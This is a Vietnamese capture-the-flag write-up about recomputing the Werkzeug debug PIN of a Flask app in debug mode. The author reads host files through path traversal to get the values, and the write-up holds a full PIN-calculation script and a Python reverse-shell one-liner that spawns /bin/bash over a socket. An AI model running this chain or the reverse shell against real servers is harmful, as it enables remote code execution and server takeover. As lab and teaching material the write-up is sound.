---
# System prepended metadata

title: '[CHH] Flask Dev'
tags: [path-traversal]

---


# 🔥 Chall Flask Dev của cookiehanhoan

Trong bài viết này, mình sẽ chỉ ra vì sao việc bật **Debug Mode** trong Flask khi deploy ở môi trường production lại là **một ý tưởng cực kỳ tồi tệ**, và làm thế nào hacker có thể **khai thác nó để tấn công** dựa trên một số điều kiện nhất định 😈

---

## 🐍 Debug Mode Trong Flask Là Gì?

Nếu bạn từng làm việc với Flask, bạn sẽ biết Debug Mode là chế độ giúp hiển thị chi tiết lỗi trong quá trình phát triển, bao gồm:

- Vị trí lỗi trong code
- Stacktrace rõ ràng
- Gợi ý sửa lỗi ngay trên trình duyệt

Tuy nhiên, **đây không chỉ đơn giản là hiển thị lỗi**. Khi bật debug, Flask còn kích hoạt một **console từ xa tại đường dẫn `/console`**, cho phép thực thi **mã Python trực tiếp từ trình duyệt**.

---

## 📛 Nguy Cơ Thực Sự: Werkzeug Debug Console

Flask sử dụng **Werkzeug** làm HTTP server, và debug console của Werkzeug **cho phép thực thi mã Python từ xa**.

Flask docs có nói rõ:

> ❗ "Không được sử dụng debugger ở môi trường production. Debugger cho phép thực thi mã Python từ trình duyệt. Nó có pin bảo vệ, nhưng không nên xem đây là một biện pháp bảo mật."  
> – Flask Documentation


- ✅ Tin tốt: Console được bảo vệ bởi **PIN**
- ❌ Tin xấu: **PIN có thể bị tính toán và bypass** – nếu attacker có đủ thông tin!

---

## 🔍 Phân Tích Cách Tính Debug PIN

Trong source code Flask/Werkzeug (link: [werkzeug/debug/__init__.py](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py)), PIN được tạo từ hai loại dữ liệu:

### 🧩 Dữ liệu công khai (có thể suy đoán từ lỗi hiển thị):
```python
probably_public_bits = [
    username,                         # tên người chạy Flask app
    modname,                          # luôn là "flask.app"
    getattr(app, "__name__", type(app).__name__),   # thường là "Flask"
    getattr(mod, "__file__", None)   # path tuyệt đối đến app.py
]
```

### 🔐 Dữ liệu riêng tư (khó đoán hơn):
```python
private_bits = [
    str(uuid.getnode()),             # MAC address ở dạng số nguyên
    get_machine_id()                 # giá trị trong /etc/machine-id hoặc /proc/sys/kernel/random_boot_id kết hợp với phần phía sau dấu / của /proc/self/cgroup
]
```

---

## 🧪 Làm Sao Lấy Được Các Giá Trị Này?

### 1. MAC Address
```bash
cat /sys/class/net/<device-id>/address
```

Sau đó chuyển địa chỉ MAC sang **số nguyên** bằng Python:
```python
int("0x" + "mac_addr".replace(":", ""), 16)
```

### 2. Machine ID
```bash
cat /etc/machine-id
# hoặc
cat /proc/sys/kernel/random/boot_id
```

---

## 🔓 Tính Toán Debug PIN

Khi có đủ `public_bits` và `private_bits`, ta có thể dùng script Python sau để **tính ra Debug PIN**:

```python
import hashlib
from itertools import chain

probably_public_bits = [
    'web3_user',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'
]
private_bits = [
    '279275995014060',
    'd4e6cb65d59544f3331ea0425dc555a1'
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size))
        break
else:
    rv = num

print(rv)
```

> ✅ Và boom! PIN đã bị tính ra. Chúng ta có thể truy cập debug console từ xa!

---

## 🖥️ Thực Thi Reverse Shell

Giờ đây bạn có thể thực thi **mã Python bất kỳ** trong console, bao gồm một **reverse shell** đơn giản:

```python
import os,pty,socket
s=socket.socket()
s.connect(("127.0.0.1",13337))
[os.dup2(s.fileno(),f) for f in (0,1,2)]
pty.spawn("/bin/bash")
```

> 🪝 Chúng ta đã có reverse shell vào server!

---

## 🚀 Kế Hoạch Tiếp Theo?

Sau khi có shell, bạn có thể:

- Thực hiện các kỹ thuật **Privilege Escalation**
- Lấy **thông tin nhạy cảm**
- Tùy vào môi trường, bạn có thể chiếm quyền root!

---
## Demo với chall [Flask Dev](https://battle.cookiearena.org/challenges/web/flask-dev) của cookiehanhoan

Đầu tiên chúng ta phải đi tìm mac address, và muốn có mac addr phải có được <device-id> sử dụng path traversal tìm được kết quả sau : 

![image](https://hackmd.io/_uploads/SJhF3AyJel.png)


Có được device id thì ta sẽ tìm được mac address : 
![image](https://hackmd.io/_uploads/Sy-ea011gg.png)


Sau đó có lấy giá trị thập phân từ giá trị hex này : 
![image](https://hackmd.io/_uploads/BJvJa0Jylg.png)


Tiếp theo là đi tìm machine-id bằng cách 2
![image](https://hackmd.io/_uploads/Sy3gRAykgl.png)
![image](https://hackmd.io/_uploads/r1pMAC1kgx.png)


Tí nữa thì quên ta cũng phải đi tìm các trường ở public : 
`username` thông qua /etc/passwd : cookiehanhoan hoặc root (theo mình thì sẽ chọn root)
![image](https://hackmd.io/_uploads/SyJZ3pJkge.png)
![image](https://hackmd.io/_uploads/S19kkkgkge.png)

Ta được kết quả như sau : 
![image](https://hackmd.io/_uploads/SJ1Y1yeJle.png)
RCE thành công: 
![image](https://hackmd.io/_uploads/SyrJ-Jlkxl.png)

## 📚 Tham Khảo

1. [HackTricks: Werkzeug Debug Exploit](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug)  
2. [AbdilahRF - Nahamcon Web CTF Writeup](https://abdilahrf.github.io/ctf/writeup-nahamcon-21-web-challs)

---

💀 *Happy Hacking!*
